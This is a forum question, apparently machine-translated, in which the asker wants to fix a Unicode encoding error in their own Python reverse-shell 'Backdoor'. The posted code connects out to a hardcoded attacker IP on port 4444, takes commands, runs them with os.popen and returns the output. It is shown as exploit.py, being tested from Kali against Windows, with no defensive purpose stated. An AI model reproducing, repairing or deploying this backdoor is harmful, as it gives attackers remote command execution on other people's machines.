Answer the question
In order to leave comments, you need to log in
How to fix UnicodeDecodeError: 'utf-8' codec can't decode byte 0x92 in position 1: invalid start byte?
All for nothing, I don’t know how to fix the error: UnicodeDecodeError: 'utf-8' codec can't decode byte 0x92 in position 1: invalid start byte
I use utf-8 encoding, I write a warrior. When I send the dir command, it should return the result, but an error pops up, as I understand it, because the result is Cyrillic, I used the cp1251 encoding, the error does not pop up, but instead of Russian letters, incomprehensible characters.
If you use utf-8 encoding and run the warrior on Kali Linux, then the result is returned along with the Cyrillic alphabet and the error does not get out, and if you run the warrior on windows, the code itself will get an error :
import socket
import os
import sys
import json
reload (sys)
sys .setdefaultencoding("utf-8")
class Backdoor:
def __init__(self, ip, port):
self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connection.connect((ip, port))
def reliable_send(self, data):
json_data = json. dumps(data.decode())
self.connection.send(json_data)
def reliable_receive(self):
json_data = ""
while True:
try:
json_data = json_data + self.connection.recv(1024)
return json.loads(json_data)
except ValueError:
continue
def execute_system_command(self, command):
output = os.popen(command).read()
return output
def run(self):
while True:
command = self.reliable_receive().decode()
output = self.execute_system_command(str(command))
self.reliable_send(output.encode())
connection.close()
my_bacdoor = Backdoor("192.16...", 4444)
my_bacdoor.run()
Full error result:
Traceback (most recent call last):
file "exploit.py", line 40 in
my_backdoor.run()
file "exploit.py", line 35 in run
self.reliable_send(output.encode ())
UnicodeDecodeError: 'utf-8' codec can't decode 0x92 in position 1: invalid start byte
Answer the question
In order to leave comments, you need to log in
Didn't find what you were looking for?
Ask your questionAsk a Question
731 491 924 answers to any question